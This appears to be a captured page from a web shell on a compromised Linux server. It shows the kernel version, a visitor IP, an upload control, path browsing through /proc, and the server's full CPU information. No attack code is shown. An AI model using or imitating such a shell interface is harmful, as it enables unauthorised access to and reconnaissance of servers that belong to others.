AlaK4X
Linux lhjmq-records 5.15.0-118-generic #128-Ubuntu SMP Fri Jul 5 09:28:59 UTC 2024 x86_64



Your IP : 3.145.61.142


Current Path : /proc/thread-self/root/proc/
Upload File :
Current File : //proc/thread-self/root/proc/cpuinfo

processor	: 0
vendor_id	: AuthenticAMD
cpu family	: 23
model		: 49
model name	: DO-Premium-AMD
stepping	: 0
microcode	: 0x1000065
cpu MHz		: 1999.996
cache size	: 512 KB
physical id	: 0
siblings	: 2
core id		: 0
cpu cores	: 2
apicid		: 0
initial apicid	: 0
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm rep_good nopl cpuid extd_apicid tsc_known_freq pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand hypervisor lahf_lm cmp_legacy svm cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw topoext perfctr_core ibpb stibp vmmcall fsgsbase bmi1 avx2 smep bmi2 rdseed adx smap clflushopt clwb sha_ni xsaveopt xsavec xgetbv1 clzero xsaveerptr wbnoinvd arat npt nrip_save umip rdpid
bugs		: sysret_ss_attrs null_seg spectre_v1 spectre_v2 spec_store_bypass retbleed smt_rsb srso
bogomips	: 3999.99
TLB size	: 1024 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 40 bits physical, 48 bits virtual
power management:

processor	: 1
vendor_id	: AuthenticAMD
cpu family	: 23
model		: 49
model name	: DO-Premium-AMD
stepping	: 0
microcode	: 0x1000065
cpu MHz		: 1999.996
cache size	: 512 KB
physical id	: 0
siblings	: 2
core id		: 1
cpu cores	: 2
apicid		: 1
initial apicid	: 1
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm rep_good nopl cpuid extd_apicid tsc_known_freq pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand hypervisor lahf_lm cmp_legacy svm cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw topoext perfctr_core ibpb stibp vmmcall fsgsbase bmi1 avx2 smep bmi2 rdseed adx smap clflushopt clwb sha_ni xsaveopt xsavec xgetbv1 clzero xsaveerptr wbnoinvd arat npt nrip_save umip rdpid
bugs		: sysret_ss_attrs null_seg spectre_v1 spectre_v2 spec_store_bypass retbleed smt_rsb srso
bogomips	: 3999.99
TLB size	: 1024 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 40 bits physical, 48 bits virtual
power management: